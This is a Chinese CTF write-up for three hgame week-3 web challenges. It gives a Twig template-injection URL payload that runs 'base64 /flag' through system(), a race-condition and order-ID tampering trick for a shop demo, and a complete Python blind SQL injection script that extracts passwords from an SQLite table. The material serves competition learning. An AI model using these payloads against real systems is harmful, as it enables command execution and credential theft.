hgame-week3-web-wp

時空怡夢笙兮發表於2022-02-11

hgame第三週(web ak)

1.SecurityCenter

先看看hint(**vendor是第三方庫和外掛放置的資料夾,一般來源於composer的安裝)

QQ圖片20220208193851

找到了使用的twig模板,應該是twig模板注入

QQ圖片20220208193918

查部落格

QQ圖片20220208193928 QQ圖片20220208193931

依葫蘆畫瓢http://146.56.223.34:60036/redirect.php?url={{["base64 /flag"]|map("system")}}

QQ圖片20220208193939

進入了安全中心,應該不用點跳轉了,Array前面就是base64編碼(習慣了base都用basecrack免得套娃)

QQ圖片20220208193943

hgame{!Tw19-S5t11s^s00O0O_inter3st1n5!}

2.Vidar shop demo

這題的環境感覺不是很友好,報錯藏在彈窗後面看不太到,貌似是:暱稱長度足夠,電話限制11位,密碼大於10位(藏在彈窗下面

進去之後

QQ圖片20220210113102 QQ圖片20220210113145 QQ圖片20220210113142

抓個包把amount改成9999試試(只有9999個幣,flag要10000)

QQ圖片20220210113149

然並卵,想一想,那麼其他幾個便宜的徽章幹嘛用呢? 條件競爭,也許是併發操作(查了一篇技術知乎):

QQ圖片20220210114352 QQ圖片20220210114405 QQ圖片20220210114408

回到題目:

我先嚐試了手動購買多個訂單,然後設定併發50刪除訂單,發現錢沒有多退給我,反而可能變少,證實了併發操作是可以改變餘額的。

那麼我們多來幾個訂單(為了測試),試試併發購買(虛擬機器轉主機了,因為虛擬機器太慢)

QQ圖片20220210114732 QQ圖片20220210114736

回到訂單列表,買好了(如果看一下餘額算一下發現少用了錢

QQ圖片20220210114743

再退掉幾個訂單

QQ圖片20220210115238

發現錢變多了!

QQ圖片20220210115243

方法二:(無併發操作)購買買一個flag和一個徽章,在刪除徽章的時候抓包,改一下flag的ID就可以了

好耶 hgame{78ae16367b8c8f23f8bb81db0b1aa2d5bd909ef5a3f186f5e470303988c7e762}

3.LoginMe

先隨便登一下

QQ圖片20220210121527

json格式,常規測試之後猜測應該是sql注入

QQ圖片20220210122022

盲註指令碼

import requests
import json
url = 'http://5a51fa042c.login.summ3r.top:60067/login'
flag = ''
for i in range(1,2000):
   low = 32
   high = 128
   mid = (low+high)//2
   while(low<high):
    #    1' or (sqlite_version() GLOB '3.36.0') or '2'='1
    #   payload = "-1' or substr((select hex(group_concat(sql)) from uuussseeerrrsss),{0},1)>'{1}' or '2'='1 ".format(i,chr(mid))
       payload = "-1' or substr((select hex(group_concat(passWord)) from uuussseeerrrsss),{0},1)>'{1}' or '2'='1 ".format(i,chr(mid))

       datas = {
           "username": payload,
           "password": "1"
       }
       headers = {'Content-Type': 'application/json'}
       res = requests.post(url=url,headers=headers,data=json.dumps(datas))

       if 'success!' in res.text:      # 為真時,即判斷正確的時候的條件
           low = mid+1
       else:
           high = mid
       mid = (low+high)//2
   if(mid ==32 or mid ==127):
       break
   flag = flag+chr(mid)
   print(flag)

# print('\n'+bytes.fromhex(flag).decode('utf-8'))
QQ圖片20220210122959

base解碼一下:

QQ圖片20220210123002

54c89486be811c26424c4335ed1af27e,應該是對應的密碼,使用者名稱應該是admin

QQ圖片20220210123138 QQ圖片20220210123158

(題目環境5min重置一次,所以每次python跑出來的值都不一樣,密碼也就不同)